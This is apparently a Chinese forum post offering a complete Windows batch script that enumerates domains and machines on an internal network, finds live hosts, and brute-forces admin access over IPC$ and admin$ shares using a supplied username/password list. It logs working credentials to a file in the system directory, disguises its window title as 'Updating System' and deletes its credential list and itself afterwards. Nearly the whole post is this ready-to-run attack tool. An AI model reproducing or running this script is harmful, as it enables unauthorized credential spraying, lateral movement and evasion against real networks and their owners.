一个BAT脚本,自动获取内网机器列表,自动判断在线,自动扫描然后记录到日志.......
自动修正域名,自动判断域。。。不废话了,发代码
=========================user.txt=========================
格式:
domain\username password
username password
=========================getadmin.bat=========================
@echo off
setlocal ENABLEDELAYEDEXPANSION
title Updating System ......
set log=%systemroot%\result.txt
set usertxt=%systemroot%\user.txt
if not exist !usertxt! (
echo !usertxt! not exist
goto :eof )
set Dline=0
set Totacmp=0
set AllComputers=0
set online=0
set offline=0
set splitbig=echo =====================================================================
set splitsmall=echo ---------------------------------------------------
set nullline=echo.
echo Current Time: %date% %time%
echo UserDomain: %USERDOMAIN%
echo Current ComputerName: %computername%
echo Current UserProfile: %UserProfile%
%splitsmall%
%nullline%
echo c:^\^>net view ^/domain
net view /domain
%splitbig%
@FOR /F "usebackq delims=, " %%J IN (`net view /domain ^|find "命令執行成功" /v ^|find "The command completed successfully." /v ^|find "命令成功完成" /v ^|find "--" /v ^|find "Domain" /v ^|find "" /v ^|find "コマンドは正常に終了しました" /v /i`) do (
%nullline%
set /a Dline+=1
set /a Totacmp=0
set online=0
set offline=0
set dmain=%%J
@echo c:^\^>net view ^/domain:%%J ^/^/The !Dline!th Domain
%splitsmall%
@FOR /F "usebackq eol=; delims=, " %%i in (`net view /domain:%%J ^|findstr "\\"`) DO (
set /a Totacmp+=1
set temp=0
@FOR /F "usebackq eol=; tokens=1,2,3* delims=\\" %%a in (`echo %%i`) do (
set ifonline=OffLine
set Reply=unno
set Pinging=unno
set hostname=%%a
set hstname=\\%%a
set ip=unno
for /f "delims=" %%i in ('ping -a -n 1 -w 100 %%a') do (
for %%b in (%%i) do if defined %%b (
if %%b == Reply (
set ifonline=OnLine
set /a online+=1
set temp=1
)
if %%b == Pinging (
FOR /F "tokens=1,2,3,4* usebackq delims=: " %%K IN ('echo %%i') do (
set ip=%%N
)
)
)
)
if /i !temp! EQU 0 (
@echo \\%%a !ifonline!
) else (
echo !hstname! !ip! !ifonline!
FOR /F "eol=; tokens=1,2,3,4* delims=, " %%B in (!usertxt!) do (
set user=%%B
set pass=%%C
echo %%B | find "\"
IF NOT errorlevel 1 (
set user=%%B
) else (
set tempuser=!dmain!\!user!
echo net use !hstname!\ipc$ "!pass!" /user:"!tempuser!"
@net use !hstname!\ipc$ "!pass!" /user:"!tempuser!"
IF NOT errorlevel 1 (
echo dir !hstname!\admin$
@dir !hstname!\admin$
IF NOT errorlevel 1 (
echo !hstname! !tempuser! !pass! !ip! !dmain! >> !log!
%splitsmall%
)
net use !hstname!\ipc$ /del
)
set user=!hostname!\!user!
)
echo net use !hstname!\ipc$ "!pass!" /user:"!user!"
@net use !hstname!\ipc$ "!pass!" /user:"!user!"
IF NOT errorlevel 1 (
echo dir !hstname!\admin$
@dir !hstname!\admin$
IF NOT errorlevel 1 (
echo !hstname! !user! !pass! !ip! !dmain! >> !log!
%splitsmall%
)
net use !hstname!\ipc$ /del
)
)
net use * /del /y
)
)
)
%splitsmall%
set /a offline =Totacmp -online
echo Computers in Current Domain Status :
%splitsmall%
echo Total Computers : !Totacmp!
echo Online Computers : !online!
echo Offline Computers : !offline!
set /a AllComputers+=!Totacmp!
%splitbig%
%nullline%
)
echo Total Domains is: !Dline!
echo All Computers In All Domain is: !AllComputers!
del !usertxt!
del %0